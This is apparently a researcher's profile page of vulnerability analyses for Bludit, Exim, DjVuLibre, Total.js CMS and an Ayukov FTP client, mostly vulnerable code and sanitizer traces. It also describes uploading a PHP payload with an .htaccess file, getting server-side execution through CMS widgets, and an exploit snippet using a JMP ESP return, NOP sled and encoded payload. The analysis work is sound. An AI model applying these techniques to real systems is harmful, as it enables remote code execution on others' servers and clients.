wchen-r7 (173)

Last Login: October 22, 2019
Assessments
75
Score
173
9th Place

wchen-r7's Latest (20) Contributions

Sort by:
Filter by:
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

CVE-2019-16113 Bludit Directory Traversal Vulnerability

Description

Bludit is a web application written in PHP to build your own website or blog, free and open source. It uses files in JSON format to store the content, so it is configuration-free.

A vulnerability was found in the upload-images.php file, where a remote user could upload a fake image file that is actually a malicious PHP payload, and gain remote code execution.

Technical Analysis

The vulnerable file (upload-images.php) is written as follows:

<?php defined('BLUDIT') or die('Bludit CMS.');
header('Content-Type: application/json');
/*
| Upload an image to a particular page
|
| @_POST['uuid']	string	Page uuid
|
| @return		array
*/
// $_POST
// ----------------------------------------------------------------------------
$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];
// ----------------------------------------------------------------------------
// Set upload directory
if ($uuid && IMAGE_RESTRICT) {
	$imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
	$thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
	if (!Filesystem::directoryExists($thumbnailDirectory)) {
		Filesystem::mkdir($thumbnailDirectory, true);
	}
} else {
	$imageDirectory = PATH_UPLOADS;
	$thumbnailDirectory = PATH_UPLOADS_THUMBNAILS;
}
$images = array();
foreach ($_FILES['images']['name'] as $uuid=>$filename) {
	// Check for errors
	if ($_FILES['images']['error'][$uuid] != 0) {
		$message = $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize');
		Log::set($message, LOG_TYPE_ERROR);
		ajaxResponse(1, $message);
	}
	// Convert URL characters such as spaces or quotes to characters
	$filename = urldecode($filename);
	// Move from PHP tmp file to Bludit tmp directory
	Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
	// Transform the image and generate the thumbnail
	$image = transformImage(PATH_TMP.$filename, $imageDirectory, $thumbnailDirectory);
	if ($image) {
		$filename = Filesystem::filename($image);
		array_push($images, $filename);
	} else {
		$message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']);
		Log::set($message, LOG_TYPE_ERROR);
		ajaxResponse(1, $message);
	}
}
ajaxResponse(0, 'Images uploaded.', array(
	'images'=>$images
));
?>

The first thing that happens is that the code retrieves the “uuid” parameter from a POST request:

$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];

The uuid is used as part of the image directory path. If the path doesn’t exist, then it will be automatically created:

if ($uuid && IMAGE_RESTRICT) {
	$imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
	$thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
	if (!Filesystem::directoryExists($thumbnailDirectory)) {
		Filesystem::mkdir($thumbnailDirectory, true);
	}

Next, the code starts uploading the file by accessing the $_FILES variables. In here, the content of the uploaded item isn’t checked, which means even though the file expects an image file, it doesn’t actually have to be. A malicious PHP payload could be uploaded instead:

foreach ($_FILES['images']['name'] as $uuid=>$filename) {
  // ... code ...

Finally, the file is moved from PHP’s temp file to a custom tmp directory:

Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);

Even though the image upload is uploaded to Bluedit’s tmp directory, you can actually also upload a .htaccess file to allow the PHP payload to be accessed remotely, and gain remote code execution.

4
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Technical Analysis

CVE-2019-16928: Exim EHLO Heap Overflow Vulnerability

Description

Exim is an open source mail transfer agent (MTA) designed for receiving, routing, and delivering email messages. It is mostly installed on Unix-like systems, sometimes Microsoft Windows using Cygwin. As of 2019, approximately 57% of the publicly reachable mail servers on the Internet ran Exim, therefore it is quite a popular software.

A vulnerability was found in Exim by a Chinese security team called QAX A-Team, specifically related to the string_vformat() function not resizing a heap buffer correctly, resulting a heap overflow. Proof-of-concept is publicly available, and remote code execution could be possible. Since Exim has been widely used on the Internet, media attention for the vulnerability was also high. More details about the potential impact can be found the Project Sonar research from Rapid7.

Technical Details

The Bug Report

Initial information about the vulnerability can be traced to a ticket on Exim’s BugZilla system, also known as #2449. In there, we can see that the vulnerability is described as a heap overflow in the string_vformat() function, which can be triggered with a EHLO command. A Python proof-of-concept is also available.

A commit for the fix can also be found under the exim-4.92.2+fixes branch, which is a simple one-line change to the size argument for the gstring_grow in file string.c:

// string.c:1593	
gstring_grow(g, g->ptr, width - (lim - g->ptr)); // Vulnerable version
gstring_grow(g, g->ptr, width);                  // Patched version

Now that the bug seems pretty legit, let’s go ahead and set up a box for debugging purposes.

Vulnerable Setup

The Exim source can be downloaded and compiled on a Unix-based machine. In my case, I set up a Ubuntu 18 box, with the following prepared:

sudo apt update && apt install build-essential clang libdb-dev libperl-dev libsasl2-dev libxt-dev libxaw7-dev

And then I got the 4.92.2 version:

wget http://exim.mirror.colo-serv.net/exim/exim4/old/exim-4.92.2.tar.xz

To build Exim, a Makefile needs to be created, and the easier way is by doing this in the Exim folder (also, remember to set the EXIM_USER option in the file):

cp src/EDITME Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf

For debugging purposes, I compiled Exim as a “PIE” binary with AddressSanitizer:

CC=clang CFLAGS+=" -g -fPIC -fsanitize=address" ASAN_LIBS+="-static-libasan" ASAN_FLAGS+="-fsanitize=address -fno-omit-frame-pointer" FULLECHO='' LFLAGS+="-L/usr/lib/llvm-6.0/lib/clang/6.0.0/lib/linux/ -lasan -pie" ASAN_OPTIONS=detect_leaks=0:symbolize=1 LDFLAGS+=" -lasan -pie -ldl -lm -lcrypt" LD_PRELOAD+="/usr/lib/gcc/x86_64-linux-gnu/7/libasan.so" LIBS+="-lasan -pie" make -e clean all

Note: For some reason, I couldn’t really compile Exim with GCC with AddressSanitizer, and clang ended up being a much easier choice.

After that, the Exim binary can be found in the build-Linux-x86_64 directory. Typically, I prefer to verify that I compiled something correctly (such as PIE and ASAN states), so in this case I used pwntools to check this:

$ python pwntools/pwnlib/commandline/checksec.py exim-4.92.2/build-Linux-x86_64/exim
[*] '/home/wchen/Desktop/exim-4.92.2/build-Linux-x86_64/exim'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    ASAN:     Enabled

And finally, start Exim as a foreground process:

sudo build-Linux-x86_64/exim -bd -d

Code Analysis

Looking at the bug report, the patched code actually comes from a function called string_vformat. The purpose of it is to build or append to a custom string object that can automatically grow if necessary, and it is declared this way:

gstring* string_vformat(gstring * g, BOOL extend, const char *format, va_list ap)

The gstring argument is a custom structure that is defined in the structs.h file as follows (Line 29):

gstring structure (structs.h:29)

typedef struct gstring {
  int    size;        /* Current capacity of string memory */
  int    ptr;        /* Offset at which to append further chars */
  uschar * s;        /* The string memory */
} gstring;

The second argument for string_vformat is a boolean called extend. This is simply a flag that indicates whether the program wants the gstring to grow or not. And finally, there’s a format and va_list argument, which is similar to how sprint works.

The second argument is an important piece to the puzzle, because the vulnerable code requires it to be true in order to trigger. In this case, the string_vformat function needs to grow gstring in order to make room for the input that it’s handling, and then the gstring will tell the function which index to begin saving the new input. This idea can be demonstrated as below:

First, let’s say we have allocated a 10-byte buffer. Visually, the 00 (null byte) represents free space:

Index:   0  1  2  3  4  5  6  7  8  9
Buffer: [00 00 00 00 00 00 00 00 00 00]

Initially, let’s also say we already have some data in the buffer, a few “A” characters. At this point, the offset at which to append further chars would be index 5:

                        * Offset starts at 5
Index:   0  1  2  3  4  5  6  7  8  9
Buffer: [41 41 41 41 41 00 00 00 00 00]

Now, we have a scenario where the new input is a bunch of “B”s that is also 10-byte long:

char* input = "BBBBBBBBBB"; // In hex, these are 42 42 42...

To put that in the buffer, we need to grow it. So in theory what is new size for the adjusted buffer? The math is:

strlen(input) + offset;

After growing the buffer, it should look like this:

                        * 5 = offset value
Index:   0  1  2  3  4  5  6  7  8  9  10 11 12 13 14
Buffer: [41 41 41 41 41 00 00 00 00 00 00 00 00 00 00]

And finally, we have enough space to store the input:

                        * 5 = offset value
Index:   0  1  2  3  4  5  6  7  8  9  10 11 12 13 14
Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42]

Knowing this concept, it is much easier to understand the vulnerability. The reason of the overflow is because the size calculation is wrong. The gstring_grow function in Exim simply does not grow enough for gstring, as a result when it is storing the user supplied input from the EHLO command, it overflows, kind of like the following:

                        * 5 = offset value
Index:   0  1  2  3  4  5  6  7  8  9  10 11 12 13 14
Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42] 42 42 42 42 42 ...
                                                       ^ Overflow

Although the vulnerability requires additional buffer growth, not every call to string_vformat sets the extend flag too true. Looking around, it looks like there are many possible ways to trigger it:

  • There are at least five functions that directly call string_vformat with the extend flag to true.
  • One of them is called string_fmt_append, and this function is used by about 56 other places through out the code base.

The scope here would be too time consuming to determine the actual vulnerable path, but we can narrow this down by a lot. All we need to do is figure out when the input enters the code, until when the vulnerable code triggers, then we can look into that code path:

Input ---> Code path to be investigated ---> string_vformat with extend argument to TRUE

In the Exim log, we can get a hint on where the input sort of begins:

70289 SMTP>> 220 ubuntu ESMTP Exim 4.92.2 Fri, 04 Oct 2019 09:21:46 -0700
70289 Process 70289 is ready for new message
70289 smtp_setup_msg entered
70289 SMTP<< EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Notice that we see a “smtp_setup_msg” message first, and then the EHLO with our input. So if we search for that message and find the function printing it, we have a starting point:

// smtp_in.c:3891
int smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rej_mail = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
  // ... code ...

So now, I guess we are looking for this type of code path:

smtp_setup_msg() ---> Code path unknown --> string_vformat(gs, TRUE, format, ap);

This is the very vague version, but in reality the unknown code path is often a rabbit hole. A large codebase such as Exim definitely took me a lot of time to clean up the noises. One way to reverse engineer how point A might get to point B is by using some kind of flow graph. Honestly, I don’t know if there is a good one for C/C++ source code, but you certainly do this with a plugin called AlleyCat from IDA Pro.

This is the graph I got that that shows how smtp_setup_msg() could get to string_vformat:

alleycat_graph

Looking at this graph is kind of like finding a needle in a haystack, but if you use it like a map to aid code analysis, you’re less likely to get lost in the rabbit hole. What’s really funny is that out of this complex map, let me show you the actual path to trigger the vulnerable code:

found_path

In the end, we only need to look at three functions:

  1. smtp_setup_msg() in smtp_in.c
  2. string_fmt_append in string.c
  3. string_vformat() in string.c (the vulnerable function)

In order to trigger step 2 (the string_fmt_append function), a user_msg variable also needs to be null. The user_msg is set from a function called acl_check() (in acl.c). The null return value indicates the check returns OK, so that means our HELO needs to fail the ACL check.

Another requirement of the vulnerability is that if Exim is able to look up and resolve an IP address, then it would not trigger. For testing purposes, the easier way to clear your /etc/resolve.conf.

And finally, now with a good understanding of the vulnerable code path, we can verify all this with AddressSanitizer, and this concludes our analysis for CVE-2019-16928:

==56449==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c598 at pc 0x7f8cd18048f9 bp 0x7ffe0bb4dea0 sp 0x7ffe0bb4d630
WRITE of size 11294 at 0x62500000c598 thread T0
    #0 0x7f8cd18048f8 in __interceptor_vsprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8)
    #1 0x7f8cd1804c86 in __interceptor_sprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9ec86)
    #2 0x558f99fc796c in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1602
    #3 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240
    #4 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165
    #5 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662
    #6 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178
    #7 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504
    #8 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057
    #9 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670
    #10 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #11 0x558f99dc05b9 in _start (/home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim+0x1125b9)

0x62500000c598 is located 0 bytes to the right of 9368-byte region [0x62500000a100,0x62500000c598)
allocated by thread T0 here:
    #0 0x7f8cd1844b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
    #1 0x558f99fbb78b in store_malloc_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:544
    #2 0x558f99fba87c in store_get_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:167
    #3 0x558f99fbd6f1 in store_newblock_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:511
    #4 0x558f99fcaab0 in gstring_grow /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1163
    #5 0x558f99fc781b in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1597
    #6 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240
    #7 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165
    #8 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662
    #9 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178
    #10 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504
    #11 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057
    #12 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670
    #13 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8) in __interceptor_vsprintf
Shadow bytes around the buggy address:
  0x0c4a7fff9860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff98a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fff98b0: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff9900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==56449==ABORTING

References

1
Ratings
  • Exploitability
    Very High
Technical Analysis

CVE-2019-15142: DjVuLibre UTF8 Out-of-Bound Read Vulnerability

Description

DJVuLibre is an open source library for DjVu, a web-centric format and software platform for distributing documents and images. According to the official site, it is used by many academic, commercial, government, and non-commercial websites around the world.

A vulnerability was found by researcher Hongxu Chen. An out-of-bound read is possible when parsing a DJVU file, resulting a denial-of-service condition.

Technical Details

In DjVmDir::decode of file DjVmDir.cpp, we have this block of code:

void
DjVmDir::decode(const GP<ByteStream> &gstr)
{
  // ... code ...
  // Line 292
      GTArray<char> strings;
      char buffer[1024];
      int length;
      while((length=bs_str.read(buffer, 1024)))
      {
         int strings_size=strings.size();
         strings.resize(strings_size+length-1);
         memcpy((char*) strings+strings_size, buffer, length);
      }
      DEBUG_MSG("size of decompressed names block=" << strings.size() << "\n");
      if (strings[strings.size()-1] != 0)
        {
         int strings_size=strings.size();
         strings.resize(strings_size+1);
         strings[strings_size] = 0;
        }
      
         // Copy names into the files
      const char * ptr=strings;
      for(pos=files_list;pos;++pos)
      {
         GP<File> file=files_list[pos];

         file->id=ptr;
  // ... code ...
}

We start with a custom GTArray named strings. It is used to store the user-provided byte stream, which we read up to 1024 bytes. While storing, the GTArray buffer gets resized before the data is copied:

      GTArray<char> strings;
      char buffer[1024];
      int length;
      while((length=bs_str.read(buffer, 1024)))
      {
         int strings_size=strings.size();
         strings.resize(strings_size+length-1);
         memcpy((char*) strings+strings_size, buffer, length);
      }

If the char array does not end with a null byte, a null byte is inserted (and size readjusted):

      if (strings[strings.size()-1] != 0)
        {
         int strings_size=strings.size();
         strings.resize(strings_size+1);
         strings[strings_size] = 0;
        }

Next, a reference of the GTArray is copied, and then this is used as a file ID according to this line:

         file->id=ptr;

The id member is actually a custom GUTF8String. It overrides the = operator, which the implementation can be found here:

// Line 2625 in GString.cpp
GUTF8String& GUTF8String::operator= (const char *str)
{ return init(GStringRep::UTF8::create(str)); }

The implementation for create() can be found here:

// Line 156 in GString.cpp
GP<GStringRep>
GStringRep::UTF8::create(const char *s)
{
  GStringRep::UTF8 dummy;
  return dummy.strdup(s);
}

The strdup function isn’t exactly the same as the original strdup in C/C++, in fact it is custom for UTF8. This is where the problem finally blows up. Although DjVmDir::decode is aware that a null byte is necessary at the end of the string, it is just a ASCII type null byte terminator, which is only one byte, but that’s not enough for UTF8. In other words, the null byte terminating routine in DjVmDir::decode does not really work. As a result, an off-by-one out-of-bound read condition could occur, which is proven in the AddressSanitizer bug report by Hongxu Chen:

==14708==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000000f1 at pc 0x7fd31456a66e bp 0x7ffc59407e10 sp 0x7ffc594075b8
READ of size 1 at 0x6040000000f1 thread T0
    #0 0x7fd31456a66d  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
    #1 0x7fd3141a5d5b in GStringRep::strdup(char const*) const /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:1017
    #2 0x7fd31419f474 in GStringRep::UTF8::create(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:160
    #3 0x7fd3141b64fd in GUTF8String::operator=(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:2626
    #4 0x7fd314054dbb in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:315
    #5 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172
    #6 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335
    #7 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342
    #8 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361
    #9 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128
    #10 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178
    #11 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #12 0x562f0317d909 in _start (/home/hongxu/FOT/djvulibre/djvu-djvulibre-git/install/bin/djvudump+0x3909)

0x6040000000f1 is located 0 bytes to the right of 33-byte region [0x6040000000d0,0x6040000000f1)
allocated by thread T0 here:
    #0 0x7fd3145f9458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
    #1 0x7fd31415c17c in GArrayBase::resize(int, int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.cpp:220
    #2 0x7fd31405ede4 in GArrayTemplate<char>::resize(int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.h:496
    #3 0x7fd314054aff in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:298
    #4 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172
    #5 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335
    #6 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342
    #7 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361
    #8 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128
    #9 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178
    #10 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

It seems the vulnerability falls under the local attack category, therefore an out-of-bound read type vulnerability would not be directly threatening to the system. In our case specifically, it looks like the extra read would actually cause a crash somewhere in the decode() function.

2
Technical Analysis

CVE-2019-15954: Total.js CMS 12 Widget Remote Code Execution

Introduction

Total.js is a Node.js Framework for building e-commerce applications, REST services, real-time apps, or apps for Internet of Things (IoT), etc. Total.js CMS is a Content Management System (application) that is part of the Total.js framework. A commercial version is also available, and can be seen used world-wide.

In Total.js CMS, a user with admin permission may be able to create a widget, and extend CMS functionalities for visitors. However, this can also be abused to upload JavaScript code that will be evaluated server side. As a result, it is possible to embed malicious JavaScript in the new widget, and gain remote code execution.

Technical Analysis

In the CVE advisory, we know that the vulnerability is associated with widget creation, so this is where we start the analysis. To do this, I looked for the keyword “New widget” because that is on the widget creation page, and very quickly I found the HTML page for that, as well as the JavaScript located at:

  • cms/themes/admin/public/forms/widgets.html
  • cms/schemas/widgets.js

The widgets.html file is what you actually look at when you’re adding a new widget from the GUI. After filling out the fields, you would click on the “Save” button, which in HTML is this:

<button name="submit">@(SAVE)</button>

And the button function is handled by the following code:

exports.submit = function(com) {
  SETTER('loading', 'show');
  AJAX('POST [url]api/widgets/ REPEAT', GETR('widgets.form'), function(response) {
    SETTER('loading', 'hide', 1000);
    if (response.success) {
      SETTER('snackbar', 'success', '@(Widget has been saved successfully.)');
      EXEC('widgets/refresh');
      com.hide();
    }
  });
};

The following URI is important because it tells us the route:

AJAX('POST [url]api/widgets/ REPEAT' ...

The route map can be found in admin.js, and our code indicates we are looking at this route:

// MODEL: /schema/widgets.js
// ... Other routes ...
ROUTE('POST    #admin/api/widgets/                        *Widget --> @save');
// ... Other routes...

The JavaScript comment actually reveals which JS file is responsible for the widgets routes, so clearly we need to be looking at widgets.js. The route also indicates we should be looking at a save function, which links to setSave, which starts the saving process.

During the saving process, it goes through a refreshing stage (in the refresh function). Although there is a lot going on, the most interesting line is this:

var obj = compile(item.body); // Line 309 (widgets.js)

The compile function parses the source code for the new widget. Apparently, the JavaScript tag is a bit customized, for example, this isn’t the standard JavaScript tag prefix, it is more specific to Total.JS:

var body = html.substring(beg, end);
var beg = body.indexOf('>') + 1;
var type = body.substring(0, beg);

body = body.substring(beg);
raw = raw.replace(type + body + '</script>', '');

body = body.trim();

if (type.indexOf('html') !== -1 || type.indexOf('plain') !== -1)
  body_template = body;
else if (type.indexOf('total') !== -1 || type.indexOf('totaljs') !== -1)
  body_total = body;
else if (type.indexOf('editor') !== -1)
  body_editor = body;
else
  body_script = body;

After parsing, the code could be stored in a few different ways. Specifically we want to watch where these are going in code:

// Around line 258 in widgets.js
obj.js = body_script;
// ... code ...
obj.editor = body_editor;
// ... code ...
obj.template = body_template;
// ... code ...
obj.total = body_total;
// ... code ...

So that’s pretty much for the compile function, and back to the refresh function. Now that we have the parsed code, let’s see what refresh is doing with the object members we’re interested in watching. Well, there are some interesting ones, for example, this is what happens to obj.total:

if (obj.total) {
  var o = new WidgetInstace();
  try {
    (new Function('exports', obj.total))(o);
  } catch (e) {
    WARNING.message = 'Widget <b>{0}</b> exception: <b>{1}</b>'.format(item.name, e.message);
    ADMIN.notify(WARNING);
  }
  obj.total = o;
  rebuild = true;
}

As you can see here, if we have a JavaScript code block that starts like this:

<script total>
  // ... something ...
</script>

Then that code goes to obj.total, and that gets executed as a new function. To mimic that code execution, open up the Developer’s Tools in your browser, enter the following (which is basically what the code above is doing):

function WidgetInstance() {}
var o = new WidgetInstance();
(new Function('exports', 'console.log("Hello World!");'))(o);

And you should see that console.log is executed (which represents the user-provided script):

> function WidgetInstance() {}
var o = new WidgetInstance();
(new Function('exports', 'console.log("Hello World!");'))(o);
> VM33:3 Hello World!
1
Technical Analysis

Details

Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in 2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it handles the server input. The exploit was tested on Windows XP SP3 (English).

PoC

Here’s an example of how to crash the FTP client:

  # Let the client log in
  client.get_once

  user = "331 OK.\r\n"
  client.put(user)

  client.get_once
  pass = "230 OK.\r\n"
  client.put(pass)

  sploit = "A"*4116
  sploit << [target.ret].pack('V') # JMP ESP here
  sploit << "\x90"*16
  sploit << payload.encoded
  sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
  sploit << "\r\n"

  client.put(sploit)

  client.get_once
  pwd = "257\r\n"
  client.put(pwd)
  client.get_once

Root Cause Analysis

When serving the PoC against the vulnerable app, the client’s command prompt shows:

12:28:43 331 OK.
12:28:43 USER anonymous
12:28:43 230 OK.
12:28:43 Successfully logged in as 'anonymous@192.168.0.12'
12:28:43 SYST
12:28:43 .................. Lots of AAAAAs here .....................
12:28:43 TYPE I
12:28:43 257

The interesting part here is that when the client sends a SYST request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.

With IDA Pro, we can tell that the SYST string is at the following location:

.text:004096B6 ; char aSyst[]
.text:004096B6 aSyst           db 'SYST',0             ; DATA XREF: sub_409978+B8Co

When we cross reference, we can tell this is used by the OpenControlConnection function.
Although there is no symbol to identify the actual function name “OpenControlConnection”, the
debugging message at the beginning of the function is a big hint:

int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
  sub_45AF40(savedregs);
  *(_DWORD *)&name.sa_data[10] = a2;
  *(_DWORD *)&name.sa_data[6] = a3;
  *(_DWORD *)&name.sa_data[2] = a1;
  if ( !dword_477AEC )
    sub_419B4C(1);
  while ( 1 )
  {
    while ( 1 )
    {
      do
      {
        sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
        ...

Anyway, inside the OpenControlConnection function, we can see that the SYST command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):

.text:0040A504                 push    offset aSyst    ; "SYST"
.text:0040A509                 lea     eax, [ebp+charResBuffer]
.text:0040A50F                 push    eax             ; charResBuffer
.text:0040A510                 lea     eax, [ebp+args]
.text:0040A516                 push    eax             ; int
.text:0040A517                 push    0               ; int
.text:0040A519                 call    SendFTPRequest

Inside the SendFTPRequest function, it looks like this:

int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
{
  char *v4; // ebx@0
  int v5; // edi@0
  int v6; // esi@0
  char *v7; // edx@1
  char Dst[16384]; // [esp+18h] [ebp-4000h]@2
  char *savedregs; // [esp+4018h] [ebp+0h]@1
  va_list va; // [esp+4030h] [ebp+18h]@1

  va_start(va, Format);
  sub_45AF40(savedregs);
  savedregs = v4;
  v7 = Format;
  if ( Format )
  {
    v4 = Dst;
    // This actually checks the input for the FTP command from the client.
    // The 0x4000u indicates the string should not be longer than that, otherwise
    // there will be a buffer overflow warning in this function.
    snprintf1(Dst, 0x4000u, Format, va);
    v7 = Dst;
  }
  return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
}

We were able to tell the second argument for SendFTPRequest is actually a buffer for receiving
the server’s response, because the way it is used:

result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
if ( result == -4 )
  return result;
if ( result )
  goto LABEL_231;
if ( *(_DWORD *)args == 2 )
{
  sub_445CEC(charResBuffer);
  if ( strstr(charResBuffer, "unix") )
  {
